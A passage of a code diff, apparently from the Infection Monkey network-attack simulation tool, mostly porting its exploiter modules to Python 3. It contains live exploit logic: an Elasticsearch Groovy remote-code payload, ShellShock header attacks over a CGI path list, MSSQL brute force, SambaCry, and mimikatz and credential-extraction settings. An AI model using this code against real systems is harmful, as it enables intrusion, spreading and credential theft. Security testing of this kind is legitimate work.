(monkeyfs.isfile(dest_file)) and (size == monkeyfs.getsize(dest_file)): return dest_file else: - download = requests.get("https://%s/api/monkey/download/%s" % + download = requests.get("https://%s/api/monkey/download/%s" % # noqa: DUO123 (WormConfiguration.current_server, filename), verify=False, proxies=ControlClient.proxies) @@ -261,8 +261,8 @@ class ControlClient(object): return dest_file except Exception as exc: - LOG.warn("Error connecting to control server %s: %s", - WormConfiguration.current_server, exc) + LOG.warning("Error connecting to control server %s: %s", + WormConfiguration.current_server, exc) @staticmethod def get_monkey_exe_filename_and_size_by_host(host): @@ -273,7 +273,7 @@ class ControlClient(object): if not WormConfiguration.current_server: return None, None try: - reply = requests.post("https://%s/api/monkey/download" % (WormConfiguration.current_server,), + reply = requests.post("https://%s/api/monkey/download" % (WormConfiguration.current_server,), # noqa: DUO123 data=json.dumps(host_dict), headers={'content-type': 'application/json'}, verify=False, proxies=ControlClient.proxies) @@ -288,8 +288,8 @@ class ControlClient(object): return None, None except Exception as exc: - LOG.warn("Error connecting to control server %s: %s", - WormConfiguration.current_server, exc) + LOG.warning("Error connecting to control server %s: %s", + WormConfiguration.current_server, exc) return None, None @@ -304,7 +304,7 @@ class ControlClient(object): try: target_addr, target_port = my_proxy.split(':', 1) target_port = int(target_port) - except: + except ValueError: return None else: proxy_class = HTTPConnectProxy @@ -315,7 +315,7 @@ class ControlClient(object): @staticmethod def get_pba_file(filename): try: - return requests.get(PBA_FILE_DOWNLOAD % + return requests.get(PBA_FILE_DOWNLOAD % # noqa: DUO123 (WormConfiguration.current_server, filename), verify=False, proxies=ControlClient.proxies) diff --git a/monkey/infection_monkey/dropper.py b/monkey/infection_monkey/dropper.py index 7c576fc30..55a359b60 100644 --- a/monkey/infection_monkey/dropper.py +++ b/monkey/infection_monkey/dropper.py @@ -26,7 +26,8 @@ else: try: WindowsError except NameError: - WindowsError = None + # noinspection PyShadowingBuiltins + WindowsError = IOError __author__ = 'itamar' @@ -103,17 +104,17 @@ class MonkeyDrops(object): dropper_date_reference_path = WormConfiguration.dropper_date_reference_path_linux try: ref_stat = os.stat(dropper_date_reference_path) - except OSError as exc: - LOG.warn("Cannot set reference date using '%s', file not found", - dropper_date_reference_path) + except OSError: + LOG.warning("Cannot set reference date using '%s', file not found", + dropper_date_reference_path) else: try: os.utime(self._config['destination_path'], (ref_stat.st_atime, ref_stat.st_mtime)) - except: - LOG.warn("Cannot set reference date to destination file") + except OSError: + LOG.warning("Cannot set reference date to destination file") - monkey_options =\ + monkey_options = \ build_monkey_commandline_explicitly(self.opts.parent, self.opts.tunnel, self.opts.server, self.opts.depth) if OperatingSystem.Windows == SystemInfoCollector.get_os(): @@ -135,7 +136,7 @@ class MonkeyDrops(object): time.sleep(3) if monkey_process.poll() is not None: - LOG.warn("Seems like monkey died too soon") + LOG.warning("Seems like monkey died too soon") def cleanup(self): try: diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf index 84d474db3..4fb0200c8 100644 --- a/monkey/infection_monkey/example.conf +++ b/monkey/infection_monkey/example.conf @@ -1,107 +1,109 @@ { - "should_exploit": true, - "command_servers": [ - "192.0.2.0:5000" - ], - "internet_services": [ - "monkey.guardicore.com", - "www.google.com" - ], - "keep_tunnel_open_time": 60, - "subnet_scan_list": [ + "should_exploit": true, + "command_servers": [ + "192.0.2.0:5000" + ], + "internet_services": [ + "monkey.guardicore.com", + "www.google.com" + ], + "keep_tunnel_open_time": 60, + "subnet_scan_list": [ - ], - "inaccessible_subnets": [], - "blocked_ips": [], - "current_server": "192.0.2.0:5000", - "alive": true, - "collect_system_info": true, - "extract_azure_creds": true, - "should_use_mimikatz": true, - "depth": 2, + ], + "inaccessible_subnets": [], + "blocked_ips": [], + "current_server": "192.0.2.0:5000", + "alive": true, + "collect_system_info": true, + "extract_azure_creds": true, + "should_use_mimikatz": true, + "depth": 2, - "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll", - "dropper_date_reference_path_linux": "/bin/sh", - "dropper_log_path_windows": "%temp%\\~df1562.tmp", - "dropper_log_path_linux": "/tmp/user-1562", - "dropper_set_date": true, - "dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe", - "dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe", - "dropper_target_path_linux": "/tmp/monkey", + "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll", + "dropper_date_reference_path_linux": "/bin/sh", + "dropper_log_path_windows": "%temp%\\~df1562.tmp", + "dropper_log_path_linux": "/tmp/user-1562", + "dropper_set_date": true, + "dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe", + "dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe", + "dropper_target_path_linux": "/tmp/monkey", - "monkey_dir_name": "monkey_dir", + "monkey_dir_name": "monkey_dir", - "kill_file_path_linux": "/var/run/monkey.not", - "kill_file_path_windows": "%windir%\\monkey.not", - "dropper_try_move_first": true, - "exploiter_classes": [ - "SSHExploiter", - "SmbExploiter", - "WmiExploiter", - "ShellShockExploiter", - "ElasticGroovyExploiter", - "SambaCryExploiter", - "Struts2Exploiter", - "WebLogicExploiter", - "HadoopExploiter", - "VSFTPDExploiter" - ], - "finger_classes": [ - "SSHFinger", - "PingScanner", - "HTTPFinger", - "SMBFinger", - "MySQLFinger", - "MSSQLFingerprint", - "ElasticFinger" - ], - "max_iterations": 3, - "monkey_log_path_windows": "%temp%\\~df1563.tmp", - "monkey_log_path_linux": "/tmp/user-1563", - "send_log_to_server": true, - "ms08_067_exploit_attempts": 5, - "user_to_add": "Monkey_IUSER_SUPPORT", - "remote_user_pass": "Password1!", - "ping_scan_timeout": 10000, - "smb_download_timeout": 300, - "smb_service_name": "InfectionMonkey", - "retry_failed_explotation": true, - "self_delete_in_cleanup": true, - "serialize_config": false, - "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}", - "skip_exploit_if_file_exist": false, - "exploit_user_list": [], - "exploit_password_list": [], - "exploit_lm_hash_list": [], - "exploit_ntlm_hash_list": [], - "exploit_ssh_keys": [], - "sambacry_trigger_timeout": 5, - "sambacry_folder_paths_to_guess": ["", "/mnt", "/tmp", "/storage", "/export", "/share", "/shares", "/home"], - "sambacry_shares_not_to_check": ["IPC$", "print$"], - "local_network_scan": false, - "tcp_scan_get_banner": true, - "tcp_scan_interval": 0, - "tcp_scan_timeout": 10000, - "tcp_target_ports": [ - 22, - 445, - 135, - 3389, - 80, - 8080, - 443, - 3306, - 8008, - 9200, - 7001 - ], - "timeout_between_iterations": 10, - "use_file_logging": true, - "victims_max_exploit": 15, - "victims_max_find": 100, - "post_breach_actions" : [] - custom_PBA_linux_cmd = "" - custom_PBA_windows_cmd = "" - PBA_linux_filename = None - PBA_windows_filename = None + "kill_file_path_linux": "/var/run/monkey.not", + "kill_file_path_windows": "%windir%\\monkey.not", + "dropper_try_move_first": true, + "exploiter_classes": [ + "SSHExploiter", + "SmbExploiter", + "WmiExploiter", + "ShellShockExploiter", + "ElasticGroovyExploiter", + "SambaCryExploiter", + "Struts2Exploiter", + "WebLogicExploiter", + "HadoopExploiter", + "VSFTPDExploiter", + "MSSQLExploiter" + ], + "finger_classes": [ + "SSHFinger", + "PingScanner", + "HTTPFinger", + "SMBFinger", + "MySQLFinger", + "MSSQLFingerprint", + "ElasticFinger" + ], + "max_iterations": 3, + "monkey_log_path_windows": "%temp%\\~df1563.tmp", + "monkey_log_path_linux": "/tmp/user-1563", + "send_log_to_server": true, + "ms08_067_exploit_attempts": 5, + "user_to_add": "Monkey_IUSER_SUPPORT", + "remote_user_pass": "Password1!", + "ping_scan_timeout": 10000, + "smb_download_timeout": 300, + "smb_service_name": "InfectionMonkey", + "retry_failed_explotation": true, + "self_delete_in_cleanup": true, + "serialize_config": false, + "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}", + "skip_exploit_if_file_exist": false, + "exploit_user_list": [], + "exploit_password_list": [], + "exploit_lm_hash_list": [], + "exploit_ntlm_hash_list": [], + "exploit_ssh_keys": [], + "sambacry_trigger_timeout": 5, + "sambacry_folder_paths_to_guess": ["", "/mnt", "/tmp", "/storage", "/export", "/share", "/shares", "/home"], + "sambacry_shares_not_to_check": ["IPC$", "print$"], + "local_network_scan": false, + "tcp_scan_get_banner": true, + "tcp_scan_interval": 0, + "tcp_scan_timeout": 10000, + "tcp_target_ports": [ + 22, + 445, + 135, + 3389, + 80, + 8080, + 443, + 3306, + 8008, + 9200, + 7001, + 8088 + ], + "timeout_between_iterations": 10, + "use_file_logging": true, + "victims_max_exploit": 15, + "victims_max_find": 100, + "post_breach_actions": [] + custom_PBA_linux_cmd = "" + custom_PBA_windows_cmd = "" + PBA_linux_filename = None + PBA_windows_filename = None } diff --git a/monkey/infection_monkey/exploit/HostExploiter.py b/monkey/infection_monkey/exploit/HostExploiter.py new file mode 100644 index 000000000..50f4167d8 --- /dev/null +++ b/monkey/infection_monkey/exploit/HostExploiter.py @@ -0,0 +1,98 @@ +from abc import abstractmethod + +from infection_monkey.config import WormConfiguration +from common.utils.exploit_enum import ExploitType +from datetime import datetime + +from infection_monkey.utils.plugins.plugin import Plugin +import infection_monkey.exploit + +__author__ = 'itamar' + + +class HostExploiter(Plugin): + @staticmethod + def should_run(class_name): + """ + Decides if post breach action is enabled in config + :return: True if it needs to be ran, false otherwise + """ + return class_name in WormConfiguration.exploiter_classes + + @staticmethod + def base_package_file(): + return infection_monkey.exploit.__file__ + + @staticmethod + def base_package_name(): + return infection_monkey.exploit.__package__ + + _TARGET_OS_TYPE = [] + + # Usual values are 'vulnerability' or 'brute_force' + EXPLOIT_TYPE = ExploitType.VULNERABILITY + + @property + @abstractmethod + def _EXPLOITED_SERVICE(self): + pass + + def __init__(self, host): + self._config = WormConfiguration + self.exploit_info = {'display_name': self._EXPLOITED_SERVICE, + 'started': '', + 'finished': '', + 'vulnerable_urls': [], + 'vulnerable_ports': [], + 'executed_cmds': []} + self.exploit_attempts = [] + self.host = host + + def set_start_time(self): + self.exploit_info['started'] = datetime.now().isoformat() + + def set_finish_time(self): + self.exploit_info['finished'] = datetime.now().isoformat() + + def is_os_supported(self): + return self.host.os.get('type') in self._TARGET_OS_TYPE + + def send_exploit_telemetry(self, result): + from infection_monkey.telemetry.exploit_telem import ExploitTelem + ExploitTelem(self, result).send() + + def report_login_attempt(self, result, user, password='', lm_hash='', ntlm_hash='', ssh_key=''): + self.exploit_attempts.append({'result': result, 'user': user, 'password': password, + 'lm_hash': lm_hash, 'ntlm_hash': ntlm_hash, 'ssh_key': ssh_key}) + + def exploit_host(self): + self.pre_exploit() + try: + result = self._exploit_host() + finally: + self.post_exploit() + return result + + def pre_exploit(self): + self.set_start_time() + + def post_exploit(self): + self.set_finish_time() + + @abstractmethod + def _exploit_host(self): + raise NotImplementedError() + + def add_vuln_url(self, url): + self.exploit_info['vulnerable_urls'].append(url) + + def add_vuln_port(self, port): + self.exploit_info['vulnerable_ports'].append(port) + + def add_executed_cmd(self, cmd): + """ + Appends command to exploiter's info. + :param cmd: String of executed command. e.g. 'echo Example' + """ + powershell = True if "powershell" in cmd.lower() else False + self.exploit_info['executed_cmds'].append({'cmd': cmd, 'powershell': powershell}) diff --git a/monkey/infection_monkey/exploit/__init__.py b/monkey/infection_monkey/exploit/__init__.py index ad38f50ce..e69de29bb 100644 --- a/monkey/infection_monkey/exploit/__init__.py +++ b/monkey/infection_monkey/exploit/__init__.py @@ -1,91 +0,0 @@ -from abc import ABCMeta, abstractmethod, abstractproperty -import infection_monkey.config -from common.utils.exploit_enum import ExploitType -from datetime import datetime - -__author__ = 'itamar' - - -class HostExploiter(object): - __metaclass__ = ABCMeta - - _TARGET_OS_TYPE = [] - - # Usual values are 'vulnerability' or 'brute_force' - EXPLOIT_TYPE = ExploitType.VULNERABILITY - - @abstractproperty - def _EXPLOITED_SERVICE(self): - pass - - def __init__(self, host): - self._config = infection_monkey.config.WormConfiguration - self.exploit_info = {'display_name': self._EXPLOITED_SERVICE, - 'started': '', - 'finished': '', - 'vulnerable_urls': [], - 'vulnerable_ports': [], - 'executed_cmds': []} - self.exploit_attempts = [] - self.host = host - - def set_start_time(self): - self.exploit_info['started'] = datetime.now().isoformat() - - def set_finish_time(self): - self.exploit_info['finished'] = datetime.now().isoformat() - - def is_os_supported(self): - return self.host.os.get('type') in self._TARGET_OS_TYPE - - def send_exploit_telemetry(self, result): - from infection_monkey.telemetry.exploit_telem import ExploitTelem - ExploitTelem(self, result).send() - - def report_login_attempt(self, result, user, password='', lm_hash='', ntlm_hash='', ssh_key=''): - self.exploit_attempts.append({'result': result, 'user': user, 'password': password, - 'lm_hash': lm_hash, 'ntlm_hash': ntlm_hash, 'ssh_key': ssh_key}) - - def exploit_host(self): - self.pre_exploit() - result = self._exploit_host() - self.post_exploit() - return result - - def pre_exploit(self): - self.set_start_time() - - def post_exploit(self): - self.set_finish_time() - - @abstractmethod - def _exploit_host(self): - raise NotImplementedError() - - def add_vuln_url(self, url): - self.exploit_info['vulnerable_urls'].append(url) - - def add_vuln_port(self, port): - self.exploit_info['vulnerable_ports'].append(port) - - def add_executed_cmd(self, cmd): - """ - Appends command to exploiter's info. - :param cmd: String of executed command. e.g. 'echo Example' - """ - powershell = True if "powershell" in cmd.lower() else False - self.exploit_info['executed_cmds'].append({'cmd': cmd, 'powershell': powershell}) - - -from infection_monkey.exploit.win_ms08_067 import Ms08_067_Exploiter -from infection_monkey.exploit.wmiexec import WmiExploiter -from infection_monkey.exploit.smbexec import SmbExploiter -from infection_monkey.exploit.sshexec import SSHExploiter -from infection_monkey.exploit.shellshock import ShellShockExploiter -from infection_monkey.exploit.sambacry import SambaCryExploiter -from infection_monkey.exploit.elasticgroovy import ElasticGroovyExploiter -from infection_monkey.exploit.struts2 import Struts2Exploiter -from infection_monkey.exploit.weblogic import WebLogicExploiter -from infection_monkey.exploit.hadoop import HadoopExploiter -from infection_monkey.exploit.mssqlexec import MSSQLExploiter -from infection_monkey.exploit.vsftpd import VSFTPDExploiter diff --git a/monkey/infection_monkey/exploit/elasticgroovy.py b/monkey/infection_monkey/exploit/elasticgroovy.py index f1057f2dd..f66a58ab0 100644 --- a/monkey/infection_monkey/exploit/elasticgroovy.py +++ b/monkey/infection_monkey/exploit/elasticgroovy.py @@ -8,7 +8,7 @@ import json import logging import requests from infection_monkey.exploit.web_rce import WebRCE -from infection_monkey.model import WGET_HTTP_UPLOAD, BITSADMIN_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX,\ +from infection_monkey.model import WGET_HTTP_UPLOAD, BITSADMIN_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX, \ DOWNLOAD_TIMEOUT from infection_monkey.network.elasticfinger import ES_PORT from common.data.network_consts import ES_SERVICE @@ -26,8 +26,8 @@ class ElasticGroovyExploiter(WebRCE): # attack URLs MONKEY_RESULT_FIELD = "monkey_result" GENERIC_QUERY = '''{"size":1, "script_fields":{"%s": {"script": "%%s"}}}''' % MONKEY_RESULT_FIELD - JAVA_CMD = GENERIC_QUERY \ - % """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()""" + JAVA_CMD = \ + GENERIC_QUERY % """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()""" _TARGET_OS_TYPE = ['linux', 'windows'] _EXPLOITED_SERVICE = 'Elastic search' @@ -39,7 +39,7 @@ class ElasticGroovyExploiter(WebRCE): exploit_config = super(ElasticGroovyExploiter, self).get_exploit_config() exploit_config['dropper'] = True exploit_config['url_extensions'] = ['_search?pretty'] - exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': CMD_PREFIX +" " + BITSADMIN_CMDLINE_HTTP} + exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': CMD_PREFIX + " " + BITSADMIN_CMDLINE_HTTP} return exploit_config def get_open_service_ports(self, port_list, names): @@ -83,7 +83,7 @@ class ElasticGroovyExploiter(WebRCE): # Overridden web_rce method that adds CMD prefix for windows command try: if 'windows' in self.host.os['type']: - resp = self.exploit(url, CMD_PREFIX+" "+CHECK_COMMAND) + resp = self.exploit(url, CMD_PREFIX + " " + CHECK_COMMAND) else: resp = self.exploit(url, CHECK_COMMAND) if resp is True: diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index 10ddbe589..05c6315c1 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -59,7 +59,7 @@ class HadoopExploiter(WebRCE): resp = json.loads(resp.content) app_id = resp['application-id'] # Create a random name for our application in YARN - rand_name = ID_STRING + "".join([random.choice(string.ascii_lowercase) for _ in xrange(self.RAN_STR_LEN)]) + rand_name = ID_STRING + "".join([random.choice(string.ascii_lowercase) for _ in range(self.RAN_STR_LEN)]) payload = self.build_payload(app_id, rand_name, command) resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/"), json=payload) return resp.status_code == 202 diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 718615114..9d2aff5b0 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -6,19 +6,17 @@ from time import sleep import pymssql from common.utils.exploit_enum import ExploitType -from infection_monkey.exploit import HostExploiter +from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.tools.http_tools import MonkeyHTTPServer from infection_monkey.exploit.tools.helpers import get_monkey_dest_path, build_monkey_commandline, get_monkey_depth from infection_monkey.model import DROPPER_ARG -from infection_monkey.utils.monkey_dir import get_monkey_dir_path from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload -from infection_monkey.exploit.tools.exceptions import ExploitingVulnerableMachineError +from infection_monkey.exploit.tools.exceptions import ExploitingVulnerableMachineError, FailedExploitationError LOG = logging.getLogger(__name__) class MSSQLExploiter(HostExploiter): - _EXPLOITED_SERVICE = 'MSSQL' _TARGET_OS_TYPE = ['windows'] EXPLOIT_TYPE = ExploitType.BRUTE_FORCE @@ -73,7 +71,7 @@ class MSSQLExploiter(HostExploiter): self.remove_temp_dir() except Exception as e: - raise ExploitingVulnerableMachineError, e.args, sys.exc_info()[2] + raise ExploitingVulnerableMachineError(e.args).with_traceback(sys.exc_info()[2]) return True @@ -144,7 +142,7 @@ class MSSQLExploiter(HostExploiter): def get_monkey_download_command(self): dst_path = get_monkey_dest_path(self.monkey_server.http_path) - monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND.\ + monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND. \ format(http_path=self.monkey_server.http_path, dst_path=dst_path) prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX.format(payload_file_path=self.payload_file_path) @@ -186,12 +184,12 @@ class MSSQLExploiter(HostExploiter): LOG.warning('No user/password combo was able to connect to host: {0}:{1}, ' 'aborting brute force'.format(host, port)) - raise RuntimeError("Bruteforce process failed on host: {0}".format(self.host.ip_addr)) + raise FailedExploitationError("Bruteforce process failed on host: {0}".format(self.host.ip_addr)) class MSSQLLimitedSizePayload(LimitedSizePayload): def __init__(self, command, prefix="", suffix=""): super(MSSQLLimitedSizePayload, self).__init__(command=command, max_length=MSSQLExploiter.MAX_XP_CMDSHELL_COMMAND_SIZE, - prefix=MSSQLExploiter.XP_CMDSHELL_COMMAND_START+prefix, - suffix=suffix+MSSQLExploiter.XP_CMDSHELL_COMMAND_END) + prefix=MSSQLExploiter.XP_CMDSHELL_COMMAND_START + prefix, + suffix=suffix + MSSQLExploiter.XP_CMDSHELL_COMMAND_END) diff --git a/monkey/infection_monkey/exploit/sambacry.py b/monkey/infection_monkey/exploit/sambacry.py index 762cc14b5..4820d0f05 100644 --- a/monkey/infection_monkey/exploit/sambacry.py +++ b/monkey/infection_monkey/exploit/sambacry.py @@ -16,11 +16,11 @@ from impacket.smb3structs import SMB2_IL_IMPERSONATION, SMB2_CREATE, SMB2_FLAGS_ from impacket.smbconnection import SMBConnection import infection_monkey.monkeyfs as monkeyfs -from infection_monkey.exploit import HostExploiter +from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.model import DROPPER_ARG from infection_monkey.network.smbfinger import SMB_SERVICE from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_target_monkey_by_os, get_monkey_depth -from infection_monkey.exploit.tools.helpers import get_interface_to_target +from infection_monkey.network.tools import get_interface_to_target from infection_monkey.pyinstaller_utils import get_binary_file_path from common.utils.attack_utils import ScanStatus from infection_monkey.telemetry.attack.t1105_telem import T1105Telem @@ -216,6 +216,9 @@ class SambaCryExploiter(HostExploiter): pattern = re.compile(r'\d*\.\d*\.\d*') smb_server_name = self.host.services[SMB_SERVICE].get('name') + if not smb_server_name: + LOG.info("Host: %s refused SMB connection" % self.host.ip_addr) + return False samba_version = "unknown" pattern_result = pattern.search(smb_server_name) is_vulnerable = False @@ -227,13 +230,13 @@ class SambaCryExploiter(HostExploiter): elif (samba_version_parts[0] == "4") and (samba_version_parts[1] <= "3"): is_vulnerable = True elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "4") and ( - samba_version_parts[1] <= "13"): + samba_version_parts[1] <= "13"): is_vulnerable = True elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "5") and ( - samba_version_parts[1] <= "9"): + samba_version_parts[1] <= "9"): is_vulnerable = True elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "6") and ( - samba_version_parts[1] <= "3"): + samba_version_parts[1] <= "3"): is_vulnerable = True else: # If pattern doesn't match we can't tell what version it is. Better try @@ -392,7 +395,7 @@ class SambaCryExploiter(HostExploiter): if fileName != '': smb2Create['Buffer'] = fileName.encode('utf-16le') else: - smb2Create['Buffer'] = '\x00' + smb2Create['Buffer'] = b'\x00' if createContexts is not None: smb2Create['Buffer'] += createContexts @@ -445,7 +448,12 @@ class SambaCryExploiter(HostExploiter): return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate) else: - return SambaCryExploiter.create_smb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA, - shareMode=FILE_SHARE_READ, - creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE, - fileAttributes=0) + return SambaCryExploiter.create_smb( + smb_client, + treeId, + pathName, + desiredAccess=FILE_READ_DATA, + shareMode=FILE_SHARE_READ, + creationOptions=FILE_OPEN, + creationDisposition=FILE_NON_DIRECTORY_FILE, + fileAttributes=0) diff --git a/monkey/infection_monkey/exploit/sambacry_monkey_runner/build.sh b/monkey/infection_monkey/exploit/sambacry_monkey_runner/build.sh old mode 100644 new mode 100755 diff --git a/monkey/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py index 78e668fc1..718e10617 100644 --- a/monkey/infection_monkey/exploit/shellshock.py +++ b/monkey/infection_monkey/exploit/shellshock.py @@ -7,7 +7,7 @@ from random import choice import requests from common.utils.attack_utils import ScanStatus -from infection_monkey.exploit import HostExploiter +from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline from infection_monkey.model import DROPPER_ARG from infection_monkey.exploit.shellshock_resources import CGI_FILES @@ -132,7 +132,7 @@ class ShellShockExploiter(HostExploiter): self._remove_lock_file(exploit, url, header) if (http_thread.downloads != 1) or ( - 'ELF' not in self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)): + 'ELF' not in self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)): LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__) continue @@ -172,14 +172,17 @@ class ShellShockExploiter(HostExploiter): LOG.info("File %s exists on remote host" % file_path) return resp - def attempt_exploit(self, url, attacks=_attacks): + def attempt_exploit(self, url, attacks=None): # Flag used to identify whether the exploit has successfully caused the # server to return a useful response + if not attacks: + attacks = self._attacks + LOG.debug("Attack Flag is: %s" % self.success_flag) LOG.debug("Trying exploit for %s" % url) - for header, exploit in attacks.iteritems(): + for header, exploit in list(attacks.items()): attack = exploit + ' echo ' + self.success_flag + "; " + TEST_COMMAND result = self.attack_page(url, header, attack) if self.success_flag in result: @@ -206,8 +209,8 @@ class ShellShockExploiter(HostExploiter): try: LOG.debug("Header is: %s" % header) LOG.debug("Attack is: %s" % attack) - r = requests.get(url, headers={header: attack}, verify=False, timeout=TIMEOUT) - result = r.content + r = requests.get(url, headers={header: attack}, verify=False, timeout=TIMEOUT) # noqa: DUO123 + result = r.content.decode() return result except requests.exceptions.RequestException as exc: LOG.debug("Failed to run, exception %s" % exc) @@ -229,7 +232,7 @@ class ShellShockExploiter(HostExploiter): attack_urls = [attack_path + url for url in url_list] for u in attack_urls: try: - reqs.append(requests.head(u, verify=False, timeout=TIMEOUT)) + reqs.append(requests.head(u, verify=False, timeout=TIMEOUT)) # noqa: DUO123 except requests.Timeout: timeout = True break diff --git a/monkey/infection_monkey/exploit/shellshock_resources.py b/monkey/infection_monkey/exploit/shellshock_resources.py index 10cfc75a6..46851dde1 100644 --- a/monkey/infection_monkey/exploit/shellshock_resources.py +++ b/monkey/infection_monkey/exploit/shellshock_resources.py @@ -1,406 +1,408 @@ # resource for shellshock attack # copied and transformed from https://github.com/nccgroup/shocker/blob/master/shocker-cgi_list -CGI_FILES = (r'/', - r'/admin.cgi', - r'/administrator.cgi', - r'/agora.cgi', - r'/aktivate/cgi-bin/catgy.cgi', - r'/analyse.cgi', - r'/apps/web/vs_diag.cgi', - r'/axis-cgi/buffer/command.cgi', - r'/b2-include/b2edit.showposts.php', - r'/bandwidth/index.cgi', - r'/bigconf.cgi', - r'/cartcart.cgi', - r'/cart.cgi', - r'/ccbill/whereami.cgi', - r'/cgi-bin/14all-1.1.cgi', - r'/cgi-bin/14all.cgi', - r'/cgi-bin/a1disp3.cgi', - r'/cgi-bin/a1stats/a1disp3.cgi', - r'/cgi-bin/a1stats/a1disp4.cgi', - r'/cgi-bin/addbanner.cgi', - r'/cgi-bin/add_ftp.cgi', - r'/cgi-bin/adduser.cgi', - r'/cgi-bin/admin/admin.cgi', - r'/cgi-bin/admin.cgi', - r'/cgi-bin/admin/getparam.cgi', - r'/cgi-bin/adminhot.cgi', - r'/cgi-bin/admin.pl', - r'/cgi-bin/admin/setup.cgi', - r'/cgi-bin/adminwww.cgi', - r'/cgi-bin/af.cgi', - r'/cgi-bin/aglimpse.cgi', - r'/cgi-bin/alienform.cgi', - r'/cgi-bin/AnyBoard.cgi', - r'/cgi-bin/architext_query.cgi', - r'/cgi-bin/astrocam.cgi', - r'/cgi-bin/AT-admin.cgi', - r'/cgi-bin/AT-generate.cgi', - r'/cgi-bin/auction/auction.cgi', - r'/cgi-bin/auktion.cgi', - r'/cgi-bin/ax-admin.cgi', - r'/cgi-bin/ax.cgi', - r'/cgi-bin/axs.cgi', - r'/cgi-bin/badmin.cgi', - r'/cgi-bin/banner.cgi', - r'/cgi-bin/bannereditor.cgi', - r'/cgi-bin/bb-ack.sh', - r'/cgi-bin/bb-histlog.sh', - r'/cgi-bin/bb-hist.sh', - r'/cgi-bin/bb-hostsvc.sh', - r'/cgi-bin/bb-replog.sh', - r'/cgi-bin/bb-rep.sh', - r'/cgi-bin/bbs_forum.cgi', - r'/cgi-bin/bigconf.cgi', - r'/cgi-bin/bizdb1-search.cgi', - r'/cgi-bin/blog/mt-check.cgi', - r'/cgi-bin/blog/mt-load.cgi', - r'/cgi-bin/bnbform.cgi', - r'/cgi-bin/book.cgi', - r'/cgi-bin/boozt/admin/index.cgi', - r'/cgi-bin/bsguest.cgi', - r'/cgi-bin/bslist.cgi', - r'/cgi-bin/build.cgi', - r'/cgi-bin/bulk/bulk.cgi', - r'/cgi-bin/cached_feed.cgi', - r'/cgi-bin/cachemgr.cgi', - r'/cgi-bin/calendar/index.cgi', - r'/cgi-bin/cartmanager.cgi', - r'/cgi-bin/cbmc/forums.cgi', - r'/cgi-bin/ccvsblame.cgi', - r'/cgi-bin/c_download.cgi', - r'/cgi-bin/cgforum.cgi', - r'/cgi-bin/.cgi', - r'/cgi-bin/cgi_process', - r'/cgi-bin/classified.cgi', - r'/cgi-bin/classifieds.cgi', - r'/cgi-bin/classifieds/classifieds.cgi', - r'/cgi-bin/classifieds/index.cgi', - r'/cgi-bin/.cobalt/alert/service.cgi', - r'/cgi-bin/.cobalt/message/message.cgi', - r'/cgi-bin/.cobalt/siteUserMod/siteUserMod.cgi', - r'/cgi-bin/commandit.cgi', - r'/cgi-bin/commerce.cgi', - r'/cgi-bin/common/listrec.pl', - r'/cgi-bin/compatible.cgi', - r'/cgi-bin/Count.cgi', - r'/cgi-bin/csChatRBox.cgi', - r'/cgi-bin/csGuestBook.cgi', - r'/cgi-bin/csLiveSupport.cgi', - r'/cgi-bin/CSMailto.cgi', - r'/cgi-bin/CSMailto/CSMailto.cgi', - r'/cgi-bin/csNews.cgi', - r'/cgi-bin/csNewsPro.cgi', - r'/cgi-bin/csPassword.cgi', - r'/cgi-bin/csPassword/csPassword.cgi', - r'/cgi-bin/csSearch.cgi', - r'/cgi-bin/csv_db.cgi', - r'/cgi-bin/cvsblame.cgi', - r'/cgi-bin/cvslog.cgi', - r'/cgi-bin/cvsquery.cgi', - r'/cgi-bin/cvsqueryform.cgi', - r'/cgi-bin/day5datacopier.cgi', - r'/cgi-bin/day5datanotifier.cgi', - r'/cgi-bin/db_manager.cgi', - r'/cgi-bin/dbman/db.cgi', - r'/cgi-bin/dcforum.cgi', - r'/cgi-bin/dcshop.cgi', - 